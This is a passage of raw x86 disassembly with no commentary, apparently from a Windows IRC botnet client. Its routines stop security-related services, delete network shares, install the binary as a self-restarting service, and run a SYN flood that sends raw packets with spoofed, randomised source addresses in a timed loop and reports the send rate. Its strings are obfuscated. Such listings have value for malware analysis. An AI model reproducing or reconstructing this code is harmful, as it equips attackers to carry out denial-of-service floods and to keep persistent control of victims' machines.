sub_421B16+2BCj push off_44EBB8[esi] lea eax, [ebp+var_4E54] push offset off_44F11C push eax call sub_429B03 lea eax, [ebp+var_4E54] push eax lea eax, [ebp+var_2744] push eax call sub_42A5E0 add esp, 14h loc_421E14: ; CODE XREF: sub_421B16+2ADj ; sub_421B16+2B2j ... inc [ebp+var_8] loc_421E17: ; CODE XREF: sub_421B16+2A8j add esi, 8 cmp esi, 138h jb loc_421D7F cmp [ebp+arg_10], ebx jz short loc_421E63 cmp [ebp+arg_14], ebx jnz short loc_421E8E cmp [ebp+arg_C], ebx jnz short loc_421E8E cmp [ebp+var_8], ebx jnz short loc_421E55 loc_421E3A: ; CODE XREF: sub_421B16+35Aj push edi push offset aJvatg1988z81 ; "jVATg1988z81" loc_421E40: ; CODE XREF: sub_421B16+1C2j push offset aSNoSharesS_ ; "%s No shares %s." push [ebp+arg_8] push [ebp+arg_4] call sub_41CE4A add esp, 14h jmp short loc_421E8E ; --------------------------------------------------------------------------- loc_421E55: ; CODE XREF: sub_421B16+322j push [ebp+var_8] push edi push offset aTotalSharesS_0 ; " Total shares [%s: %d]" jmp loc_421CEA ; --------------------------------------------------------------------------- loc_421E63: ; CODE XREF: sub_421B16+313j cmp [ebp+arg_C], ebx jnz short loc_421E8E cmp [ebp+arg_14], ebx jnz short loc_421E8E cmp [ebp+var_8], ebx jz short loc_421E3A push [ebp+var_8] push edi push offset aJvatg1988z81 ; "jVATg1988z81" push offset aSTotalShares_0 ; "%s Total shares [%s: %d]" loc_421E80: ; CODE XREF: sub_421B16+236j push [ebp+arg_8] push [ebp+arg_4] call sub_41CE4A add esp, 18h loc_421E8E: ; CODE XREF: sub_421B16+1A4j ; sub_421B16+1ADj ... pop edi pop esi pop ebx leave retn sub_421B16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421E93 proc near ; CODE XREF: sub_422009+38p ; sub_422009+85p var_24 = byte ptr -24h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 24h push ebx push esi push edi xor edi, edi mov [ebp+var_4], edi mov esi, offset aFfec81uznt81 ; "fFEC81UzNT81" loc_421EA6: ; CODE XREF: sub_421E93+119j push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 call dword_456F28 ; OpenSCManagerA push 0F01FFh mov [ebp+var_8], eax push off_44DF68[edi] push eax call dword_456DC8 ; OpenServiceA mov ebx, eax test ebx, ebx jnz short loc_421F0F call dword_437170 ; RtlGetLastWin32Error cmp eax, 424h jnz loc_421F96 xor eax, eax cmp [ebp+arg_C], eax jz loc_421F96 cmp [ebp+arg_10], eax jnz loc_421F96 cmp [ebp+arg_8], eax jnz loc_421F96 push off_44DF78[edi] push esi push offset aSTheSServiceDo ; "%s The %s service does not exist." jmp short loc_421F88 ; --------------------------------------------------------------------------- loc_421F0F: ; CODE XREF: sub_421E93+3Ej lea eax, [ebp+var_24] push eax push 1 push ebx call dword_456E44 ; ControlService test eax, eax jz short loc_421F5D lea eax, [ebp+var_24] push eax push 1 push ebx call dword_456E44 ; ControlService xor eax, eax cmp [ebp+arg_C], eax jz short loc_421F58 cmp [ebp+arg_10], eax jnz short loc_421F58 cmp [ebp+arg_8], eax jnz short loc_421F58 push off_44DF78[edi] push esi push offset aSSServiceStopp ; "%s %s service stopped." push [ebp+arg_4] push [ebp+arg_0] call sub_41CE4A add esp, 14h loc_421F58: ; CODE XREF: sub_421E93+9Fj ; sub_421E93+A4j ... inc [ebp+var_4] jmp short loc_421F96 ; --------------------------------------------------------------------------- loc_421F5D: ; CODE XREF: sub_421E93+8Bj call dword_437170 ; RtlGetLastWin32Error cmp eax, 426h jnz short loc_421F96 cmp [ebp+arg_C], 0 jz short loc_421F96 cmp [ebp+arg_10], 0 jnz short loc_421F96 cmp [ebp+arg_8], 0 jnz short loc_421F96 push off_44DF78[edi] push esi push offset aSTheSServiceWa ; "%s The %s service was not started." loc_421F88: ; CODE XREF: sub_421E93+7Aj push [ebp+arg_4] push [ebp+arg_0] call sub_41CE4A add esp, 14h loc_421F96: ; CODE XREF: sub_421E93+4Bj ; sub_421E93+56j ... push ebx call dword_456DE4 ; CloseServiceHandle push [ebp+var_8] call dword_456DE4 ; CloseServiceHandle add edi, 4 cmp edi, 10h jl loc_421EA6 xor eax, eax cmp [ebp+var_4], eax jnz short loc_421FDE cmp [ebp+arg_10], eax jnz short loc_422004 cmp [ebp+arg_8], eax jnz short loc_422004 cmp [ebp+arg_C], eax jnz short loc_422004 push esi push offset aSNoServicesSto ; "%s No services stopped." push [ebp+arg_4] push [ebp+arg_0] call sub_41CE4A add esp, 10h jmp short loc_422004 ; --------------------------------------------------------------------------- loc_421FDE: ; CODE XREF: sub_421E93+124j cmp [ebp+arg_10], eax jnz short loc_422004 cmp [ebp+arg_8], eax jnz short loc_422004 cmp [ebp+arg_C], eax jnz short loc_422004 push [ebp+var_4] push esi push offset aSTotalServices ; "%s Total services stopped: %d" push [ebp+arg_4] push [ebp+arg_0] call sub_41CE4A add esp, 14h loc_422004: ; CODE XREF: sub_421E93+129j ; sub_421E93+12Ej ... pop edi pop esi pop ebx leave retn sub_421E93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422009 proc near ; DATA XREF: sub_40A9FE+ADBo ; sub_40A9FE+9E77o ... var_C4 = dword ptr -0C4h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_14 = dword ptr -14h var_10 = dword ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0C4h mov eax, [ebp+arg_0] push esi push edi push 31h pop ecx mov esi, eax lea edi, [ebp+var_C4] rep movsd xor edi, edi xor esi, esi inc edi cmp [ebp+var_2C], esi mov [eax+0BCh], edi jz short loc_42206C loc_422034: ; CODE XREF: sub_422009+61j cmp dword_457034, esi jnz short loc_42205F push edi push esi push edi push esi push esi call sub_421E93 push edi push esi push edi push esi push esi push edi call sub_42184C push edi push esi push edi push esi push esi push edi call sub_421B16 add esp, 44h loc_42205F: ; CODE XREF: sub_422009+31j push 0C3500h call dword_437190 ; Sleep jmp short loc_422034 ; --------------------------------------------------------------------------- loc_42206C: ; CODE XREF: sub_422009+29j cmp dword_457034, esi mov edi, [ebp+var_C4] jnz short loc_4220C7 cmp [ebp+var_30], esi jz short loc_422096 push esi lea eax, [ebp+var_C0] push [ebp+var_14] push [ebp+var_10] push eax push edi call sub_421E93 add esp, 14h loc_422096: ; CODE XREF: sub_422009+74j push esi lea eax, [ebp+var_C0] push [ebp+var_14] push [ebp+var_10] push eax push edi push [ebp+var_30] call sub_42184C push esi lea eax, [ebp+var_C0] push [ebp+var_14] push [ebp+var_10] push eax push edi push [ebp+var_30] call sub_421B16 add esp, 30h loc_4220C7: ; CODE XREF: sub_422009+6Fj push [ebp+var_40] call sub_423623 pop ecx push esi call dword_437174 ; ExitThread pop edi pop esi loc_4220D9: ; DATA XREF: sub_422147+12o cmp [esp+0C8h+var_C4], 5 push esi jnz short loc_422128 mov esi, offset dword_457E1C mov ecx, esi call sub_41DB60 test al, al jz short loc_42211E push offset aSystemShutting ; "System shutting down." push esi call sub_41CAB4 pop ecx pop ecx push 3E8h call dword_437190 ; Sleep mov ecx, esi call sub_41CA82 call dword_456E58 ; WSACleanup push 0 call dword_4370D4 ; ExitProcess loc_42211E: ; CODE XREF: sub_422009+E6j mov dword_46AFF8, 7 loc_422128: ; CODE XREF: sub_422009+D6j push offset dword_46AFF4 push dword_46AFF0 call dword_456E70 ; SetServiceStatus test eax, eax jnz short loc_422143 call dword_437170 ; RtlGetLastWin32Error loc_422143: ; CODE XREF: sub_422009+132j pop esi retn 4 sub_422009 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_422147 proc near ; DATA XREF: sub_418E0F+8Bo var_4 = byte ptr -4 push ecx push esi push edi push 4 xor esi, esi pop edi mov dword_46AFF4, 30h push offset loc_4220D9 push offset dword_4439CC mov dword_46AFF8, 2 mov dword_46AFFC, edi mov dword_46B000, esi mov dword_46B004, esi mov dword_46B008, esi mov dword_46B00C, esi call dword_456F50 ; RegisterServiceCtrlHandlerA push offset dword_46AFF4 push eax mov dword_46AFF0, eax mov dword_46AFF8, edi mov dword_46B008, esi mov dword_46B00C, esi call dword_456E70 ; SetServiceStatus lea eax, [esp+0Ch+var_4] push eax push esi push esi push offset sub_4222F7 push esi push esi call dword_437180 ; CreateThread mov edi, eax cmp edi, esi jz short loc_4221DE push 0FFFFFFFFh push edi call dword_43707C ; WaitForSingleObject push edi call dword_437044 ; CloseHandle loc_4221DE: ; CODE XREF: sub_422147+85j pop edi xor eax, eax pop esi pop ecx retn sub_422147 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4221E4 proc near ; CODE XREF: sub_418E0F+160p ; sub_418E0F+185p var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 104h push esi push edi push [ebp+arg_0] lea eax, [ebp+var_104] push offset aS_4 ; "\"%s\"" push eax call sub_429B03 add esp, 0Ch xor esi, esi push 2 push esi push esi call dword_456F28 ; OpenSCManagerA cmp eax, esi mov dword_46AFEC, eax jnz short loc_422224 push [ebp+arg_0] call sub_42245D pop ecx loc_422224: ; CODE XREF: sub_4221E4+35j push esi push esi push esi push esi lea eax, [ebp+var_104] push esi push eax push esi push 2 push 110h push 0F01FFh push offset dword_4439E8 push offset dword_4439CC push dword_46AFEC call dword_456FB8 ; CreateServiceA mov edi, eax cmp edi, esi jnz short loc_422278 call dword_437170 ; RtlGetLastWin32Error cmp eax, 436h jz short loc_422283 cmp eax, 431h jz short loc_422283 push [ebp+arg_0] call sub_42245D pop ecx jmp short loc_422288 ; --------------------------------------------------------------------------- loc_422278: ; CODE XREF: sub_4221E4+73j push offset loc_443A08 call sub_422335 pop ecx loc_422283: ; CODE XREF: sub_4221E4+80j ; sub_4221E4+87j call sub_4222A1 loc_422288: ; CODE XREF: sub_4221E4+92j push edi call dword_456DE4 ; CloseServiceHandle push dword_46AFEC call dword_456DE4 ; CloseServiceHandle pop edi xor eax, eax pop esi leave retn sub_4221E4 endp ; =============== S U B R O U T I N E ======================================= sub_4222A1 proc near ; CODE XREF: sub_4221E4:loc_422283p push esi push 0F003Fh push 0 push 0 call dword_456F28 ; OpenSCManagerA test eax, eax mov dword_46AFEC, eax jz short loc_4222F3 push 0F01FFh push offset dword_4439CC push eax call dword_456DC8 ; OpenServiceA mov esi, eax test esi, esi jz short loc_4222F3 push 0 push 0 push esi call dword_456DD0 ; StartServiceA test eax, eax jz short loc_4222F3 push dword_46AFEC call dword_456DE4 ; CloseServiceHandle push esi call dword_456DE4 ; CloseServiceHandle loc_4222F3: ; CODE XREF: sub_4222A1+17j ; sub_4222A1+2Ej ... xor eax, eax pop esi retn sub_4222A1 endp ; =============== S U B R O U T I N E ======================================= sub_4222F7 proc near ; DATA XREF: sub_422147+74o var_4 = byte ptr -4 push ecx push esi push edi lea eax, [esp+0Ch+var_4] xor edi, edi push eax push edi push edi push offset sub_418FA1 push edi push edi call dword_437180 ; CreateThread mov esi, eax cmp esi, edi jnz short loc_42231E pop edi xor eax, eax pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- loc_42231E: ; CODE XREF: sub_4222F7+1Dj push 0FFFFFFFFh push esi call dword_43707C ; WaitForSingleObject push esi call dword_437044 ; CloseHandle push edi call dword_437174 ; ExitThread sub_4222F7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422335 proc near ; CODE XREF: sub_4221E4+99p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi xor edi, edi xor ebx, ebx push 0F003Fh inc edi push ebx push ebx mov [ebp+var_8], edi call dword_456F28 ; OpenSCManagerA cmp eax, ebx mov dword_46AFEC, eax jz short loc_4223C0 mov esi, offset dword_4439CC push 0F01FFh push esi push eax call dword_456DC8 ; OpenServiceA cmp eax, ebx mov [ebp+var_4], eax jz short loc_4223C0 push dword_46AFEC call dword_456E00 ; LockServiceDatabase cmp eax, ebx mov [ebp+var_14], eax jnz short loc_4223D2 call dword_437170 ; RtlGetLastWin32Error cmp eax, 41Fh jnz short loc_4223C0 mov ebx, 10Ch push ebx push 40h call dword_437128 ; LocalAlloc test eax, eax mov [ebp+var_C], eax jz short loc_4223C0 lea ecx, [ebp+var_18] push ecx push ebx push eax push dword_46AFEC call dword_456E88 ; QueryServiceLockStatusA test eax, eax jnz short loc_4223C7 loc_4223C0: ; CODE XREF: sub_422335+25j ; sub_422335+3Ej ... xor eax, eax jmp loc_422458 ; --------------------------------------------------------------------------- loc_4223C7: ; CODE XREF: sub_422335+89j push [ebp+var_C] call dword_43703C ; LocalFree xor ebx, ebx loc_4223D2: ; CODE XREF: sub_422335+51j push 2 push esi push dword_46AFEC call dword_456DC8 ; OpenServiceA mov dword_46AFEC, eax lea eax, [ebp+var_20] mov [ebp+var_24], eax lea eax, [ebp+var_34] push eax push 2 push [ebp+var_4] mov [ebp+var_1C], 0BB8h mov [ebp+var_20], edi mov [ebp+var_28], edi mov [ebp+var_2C], ebx mov [ebp+var_30], ebx mov [ebp+var_34], 0Ah call dword_457010 ; ChangeServiceConfig2A test eax, eax jnz short loc_42241C mov [ebp+var_8], ebx loc_42241C: ; CODE XREF: sub_422335+E2j mov eax, [ebp+arg_0] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push edi push [ebp+var_4] call dword_457010 ; ChangeServiceConfig2A test eax, eax jnz short loc_422437 mov [ebp+var_8], ebx loc_422437: ; CODE XREF: sub_422335+FDj push [ebp+var_14] call dword_456F54 ; UnlockServiceDatabase push [ebp+var_4] call dword_456DE4 ; CloseServiceHandle push dword_46AFEC call dword_456DE4 ; CloseServiceHandle mov eax, [ebp+var_8] loc_422458: ; CODE XREF: sub_422335+8Dj pop edi pop esi pop ebx leave retn sub_422335 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42245D proc near ; CODE XREF: sub_4221E4+3Ap ; sub_4221E4+8Cp var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_15B = byte ptr -15Bh var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 364h push ebx push esi push edi lea eax, [ebp+var_364] push 104h xor ebx, ebx push eax push ebx call dword_437070 ; GetModuleHandleA push eax call dword_43717C ; GetModuleFileNameA push 40h xor eax, eax pop ecx lea edi, [ebp+var_15B] mov [ebp+var_15C], bl push ebx rep stosd push dword_4439A4 stosw stosb lea eax, [ebp+var_15C] push eax push ebx call dword_437260 mov esi, dword_4370B4 lea eax, [ebp+var_15C] push eax push offset dword_457D18 call esi ; dword_4370B4 lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax call esi ; dword_4370B4 mov esi, offset dword_4439A8 lea eax, [ebp+var_260] push esi push eax push offset dword_445D68 push [ebp+arg_0] call sub_429B03 lea eax, [ebp+var_260] push esi push eax call sub_4278B2 add esp, 18h test eax, eax jz loc_4225B6 push 1 mov edi, offset byte_443B5B push [ebp+arg_0] mov esi, offset dword_443A5C push edi push esi push 80000001h call sub_421409 push 1 push [ebp+arg_0] push edi push esi push dword_443A58 call sub_421409 push 10h lea eax, [ebp+var_14] push ebx push eax call sub_429760 push 44h lea eax, [ebp+var_58] pop esi push esi push ebx push eax call sub_429760 add esp, 40h lea eax, [ebp+var_14] mov [ebp+var_58], esi xor esi, esi push eax lea eax, [ebp+var_58] push eax lea eax, [ebp+var_260] push eax inc esi push ebx push 28h push esi push ebx push ebx push ebx push [ebp+arg_0] mov [ebp+var_4C], offset byte_454A54 mov [ebp+var_2C], esi mov [ebp+var_28], bx call dword_4370D8 ; CreateProcessA test eax, eax jz short loc_4225AF push 0C8h call dword_437190 ; Sleep push [ebp+var_14] mov esi, dword_437044 call esi ; dword_437044 push [ebp+var_10] call esi ; dword_437044 call dword_456E58 ; WSACleanup push ebx call dword_4370D4 ; ExitProcess loc_4225AF: ; CODE XREF: sub_42245D+128j push esi call dword_4370D4 ; ExitProcess loc_4225B6: ; CODE XREF: sub_42245D+A3j lea eax, [ebp+var_4] push eax push ebx push ebx push offset sub_418FA1 push ebx push ebx call dword_437180 ; CreateThread mov esi, eax cmp esi, ebx jz short loc_4225DF push 0FFFFFFFFh push esi call dword_43707C ; WaitForSingleObject push esi call dword_437044 ; CloseHandle loc_4225DF: ; CODE XREF: sub_42245D+170j pop edi pop esi pop ebx leave retn sub_42245D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4225E4 proc near ; CODE XREF: sub_422903+1Fp var_2944 = byte ptr -2944h var_234 = byte ptr -234h var_A4 = byte ptr -0A4h var_A3 = byte ptr -0A3h var_98 = byte ptr -98h var_90 = byte ptr -90h var_7C = byte ptr -7Ch var_68 = word ptr -68h var_66 = word ptr -66h var_64 = dword ptr -64h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh var_3A = word ptr -3Ah var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = word ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, 2944h call sub_429B60 push ebx push esi push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_A3] mov [ebp+var_A4], bl mov esi, 100h rep stosd stosw push esi stosb call sub_42B4D7 pop ecx mov edi, eax push esi push edi call dword_456F4C ; gethostname push edi call dword_456FD4 ; gethostbyname mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_10], eax lea eax, [ebp+var_234] push eax push 202h call dword_4372B8 ; WSAStartup test eax, eax jz short loc_422650 push ebx call dword_437174 ; ExitThread loc_422650: ; CODE XREF: sub_4225E4+63j xor esi, esi inc esi push esi push ebx push ebx push 0FFh push 3 push 2 call dword_4372C8 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jnz short loc_422699 call dword_4372DC ; WSAGetLastError push eax push offset aBjatzQyrs11 ; "BjAtz/qyRS11" push offset aSCanTSyn_Error ; "%s Can't Syn. Error: %d" lea eax, [ebp+var_2944] push 2710h push eax call sub_429BBE add esp, 14h push ebx call dword_437174 ; ExitThread loc_422699: ; CODE XREF: sub_4225E4+87j lea ecx, [ebp+var_48] push 4 push ecx push 2 push ebx push eax mov [ebp+var_48], esi call dword_43728C ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_4226DD call dword_4372DC ; WSAGetLastError push eax push offset aBjatzQyrs11 ; "BjAtz/qyRS11" push offset aSCanTSyn_Error ; "%s Can't Syn. Error: %d" lea eax, [ebp+var_2944] push 2710h push eax call sub_429BBE add esp, 14h push ebx call dword_437174 ; ExitThread loc_4226DD: ; CODE XREF: sub_4225E4+CBj push [ebp+arg_4] mov esi, dword_4372C4 mov [ebp+var_68], 2 call esi ; dword_4372C4 mov edi, [ebp+arg_0] push 28h mov [ebp+var_66], ax mov [ebp+var_64], edi mov [ebp+var_24], 45h call esi ; dword_4372C4 push [ebp+arg_4] mov [ebp+var_22], ax mov [ebp+var_20], 1 mov [ebp+var_1E], bx mov [ebp+var_1C], 80h mov [ebp+var_1B], 6 mov [ebp+var_1A], bx mov [ebp+var_14], edi call esi ; dword_4372C4 push 4000h mov [ebp+var_36], ax mov [ebp+var_30], ebx mov [ebp+var_2C], 50h mov [ebp+var_2B], 2 call esi ; dword_4372C4 mov [ebp+var_2A], ax lea eax, [ebp+var_58] push eax mov [ebp+var_26], bx mov [ebp+arg_4], ebx call dword_43718C ; QueryPerformanceFrequency lea eax, [ebp+var_8] push eax call dword_4370D0 ; QueryPerformanceCounter push [ebp+var_54] mov eax, [ebp+arg_8] cdq push [ebp+var_58] push edx push eax call sub_42C4F0 add eax, [ebp+var_8] adc edx, [ebp+var_4] mov [ebp+var_50], eax mov [ebp+var_4C], edx loc_422774: ; CODE XREF: sub_4225E4+2DAj call sub_429B9C cdq mov ecx, 0FFh push 14h idiv ecx mov eax, [ebp+var_10] mov [ebp+var_28], bx and eax, 0FFFFFFh mov [ebp+var_3C], bl mov [ebp+var_3B], 6 shl edx, 18h or edx, eax mov eax, [ebp+var_14] mov edi, edx mov [ebp+var_40], eax mov [ebp+var_10], edi call esi ; dword_4372C4 mov [ebp+var_3A], ax mov [ebp+var_18], edi call sub_429B9C cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call esi ; dword_4372C4 mov [ebp+var_38], ax call sub_429B9C mov edi, eax shl edi, 10h call sub_429B9C or edi, eax push edi call esi ; dword_4372C4 movzx eax, ax mov [ebp+var_34], eax mov eax, [ebp+var_18] mov [ebp+var_44], eax lea eax, [ebp+var_44] push 0Ch push eax lea eax, [ebp+var_A4] push eax call sub_429420 push 14h lea eax, [ebp+var_38] pop edi push edi push eax lea eax, [ebp+var_98] push eax call sub_429420 lea eax, [ebp+var_A4] push 20h push eax call sub_41E3E8 mov [ebp+var_28], ax lea eax, [ebp+var_24] push edi push eax lea eax, [ebp+var_A4] push eax call sub_429420 lea eax, [ebp+var_38] push edi push eax lea eax, [ebp+var_90] push eax call sub_429420 push 4 lea eax, [ebp+var_7C] push ebx push eax call sub_429760 add esp, 44h lea eax, [ebp+var_A4] push 28h push eax call sub_41E3E8 mov [ebp+var_1A], ax push edi lea eax, [ebp+var_24] push eax lea eax, [ebp+var_A4] push eax call sub_429420 add esp, 14h lea eax, [ebp+var_68] push 10h push eax push ebx lea eax, [ebp+var_A4] push 28h push eax push [ebp+var_C] call dword_437294 ; sendto cmp eax, 0FFFFFFFFh jz short loc_4228C3 add [ebp+arg_4], eax lea eax, [ebp+var_8] push eax call dword_4370D0 ; QueryPerformanceCounter mov eax, [ebp+var_4] cmp eax, [ebp+var_4C] jg short loc_4228EC jl short loc_4228B5 mov eax, [ebp+var_8] cmp eax, [ebp+var_50] jnb short loc_4228EC loc_4228B5: ; CODE XREF: sub_4225E4+2C7j push [ebp+arg_C] call dword_437190 ; Sleep jmp loc_422774 ; --------------------------------------------------------------------------- loc_4228C3: ; CODE XREF: sub_4225E4+2B0j call dword_4372DC ; WSAGetLastError push eax push offset aBjatzQyrs11 ; "BjAtz/qyRS11" push offset aSErrorD ; "%s Error: %d" lea eax, [ebp+var_2944] push 2710h push eax call sub_429BBE add esp, 14h xor eax, eax jmp short loc_4228FE ; --------------------------------------------------------------------------- loc_4228EC: ; CODE XREF: sub_4225E4+2C5j ; sub_4225E4+2CFj push [ebp+var_C] call dword_4372D8 ; closesocket call dword_4372AC ; WSACleanup mov eax, [ebp+arg_4] loc_4228FE: ; CODE XREF: sub_4225E4+306j pop edi pop esi pop ebx leave retn sub_4225E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422903 proc near ; CODE XREF: sub_4229B7+50p var_2710 = byte ptr -2710h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp mov eax, 2710h call sub_429B60 push [ebp+arg_14] call sub_41E3EC push [ebp+arg_20] push [ebp+arg_1C] push [ebp+arg_18] push eax call sub_4225E4 add esp, 14h test eax, eax jnz short loc_4229A9 push esi call dword_4372DC ; WSAGetLastError push eax push offset aBjatzQyrs11 ; "BjAtz/qyRS11" push offset aSCanTSyn_Error ; "%s Can't Syn. Error: %d" lea eax, [ebp+var_2710] push 2710h push eax call sub_429BBE add esp, 14h cmp [ebp+arg_8], 0 mov esi, offset aS_5 ; "%s" jnz short loc_42297B cmp [ebp+arg_C], 0 jnz short loc_422981 lea eax, [ebp+var_2710] push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_41CE4A add esp, 10h loc_42297B: ; CODE XREF: sub_422903+5Aj cmp [ebp+arg_C], 0 jz short loc_422997 loc_422981: ; CODE XREF: sub_422903+60j lea eax, [ebp+var_2710] push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_41CDD4 add esp, 10h loc_422997: ; CODE XREF: sub_422903+7Cj push [ebp+arg_10] call sub_423623 pop ecx push 0 call dword_437174 ; ExitThread pop esi loc_4229A9: ; CODE XREF: sub_422903+29j cdq mov ecx, 3E8h idiv ecx cdq idiv [ebp+arg_1C] leave retn sub_422903 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4229B7 proc near ; DATA XREF: sub_40A9FE+6B13o var_2830 = byte ptr -2830h var_120 = dword ptr -120h var_11C = byte ptr -11Ch var_9C = byte ptr -9Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 2830h call sub_429B60 mov eax, [ebp+arg_0] push esi push edi push 48h pop ecx mov esi, eax lea edi, [ebp+var_120] rep movsd push [ebp+var_10] mov dword ptr [eax+11Ch], 1 lea eax, [ebp+var_11C] mov edi, [ebp+var_120] push [ebp+var_14] push [ebp+var_18] push eax lea eax, [ebp+var_9C] push [ebp+var_1C] push [ebp+var_C] push [ebp+var_8] push eax push edi call sub_422903 push eax push offset aAsqfy_k1uah0 ; "AsQfy.K1uah0" push offset aBjatzQyrs11 ; "BjAtz/qyRS11" push offset aSS@IkbS ; "%s %s @ (%iKB/s)" lea eax, [ebp+var_2830] push 2710h push eax call sub_429BBE add esp, 3Ch cmp [ebp+var_8], 0 mov esi, offset aS_5 ; "%s" jnz short loc_422A59 cmp [ebp+var_C], 0 jnz short loc_422A5F lea eax, [ebp+var_2830] push eax lea eax, [ebp+var_9C] push esi push eax push edi call sub_41CE4A add esp, 10h loc_422A59: ; CODE XREF: sub_4229B7+82j cmp [ebp+var_C], 0 jz short loc_422A77 loc_422A5F: ; CODE XREF: sub_4229B7+88j lea eax, [ebp+var_2830] push eax lea eax, [ebp+var_9C] push esi push eax push edi call sub_41CDD4 add esp, 10h loc_422A77: ; CODE XREF: sub_4229B7+A6j push [ebp+var_1C] call sub_423623 pop ecx pop edi xor eax, eax pop esi leave retn 4 sub_4229B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422A88 proc near ; DATA XREF: sub_40A9FE+792Eo var_2834 = byte ptr -2834h var_124 = dword ptr -124h var_120 = byte ptr -120h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 2834h call sub_429B60 mov eax, [ebp+arg_0] push esi push edi push 49h pop ecx mov esi, eax lea edi, [ebp+var_124] rep movsd push [ebp+var_10] mov edi, [ebp+var_124] mov dword ptr [eax+120h], 1 lea eax, [ebp+var_A0] push [ebp+var_C] push eax push edi push [ebp+var_8] lea eax, [ebp+var_120] push [ebp+var_20] push [ebp+var_14] push [ebp+var_18] push [ebp+var_1C] push eax call sub_422B50 push eax push offset aAsqfy_k1uah0 ; "AsQfy.K1uah0" push offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1" lea eax, [ebp+var_2834] push offset aSS_1 ; "%s %s" push eax call sub_429B03 xor esi, esi add esp, 3Ch cmp [ebp+var_C], esi jnz short loc_422B22 cmp [ebp+var_10], esi jnz short loc_422B27 lea eax, [ebp+var_2834] push eax lea eax, [ebp+var_A0] push eax push edi call sub_41CE4A add esp, 0Ch loc_422B22: ; CODE XREF: sub_422A88+7Cj cmp [ebp+var_10], esi jz short loc_422B3E loc_422B27: ; CODE XREF: sub_422A88+81j lea eax, [ebp+var_2834] push eax lea eax, [ebp+var_A0] push eax push edi call sub_41CDD4 add esp, 0Ch loc_422B3E: ; CODE XREF: sub_422A88+9Dj push [ebp+var_20] call sub_423623 pop ecx push esi call dword_437174 ; ExitThread pop edi pop esi sub_422A88 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422B50 proc near ; CODE XREF: sub_422A88+53p var_98 = word ptr -98h var_96 = word ptr -96h var_94 = dword ptr -94h var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr 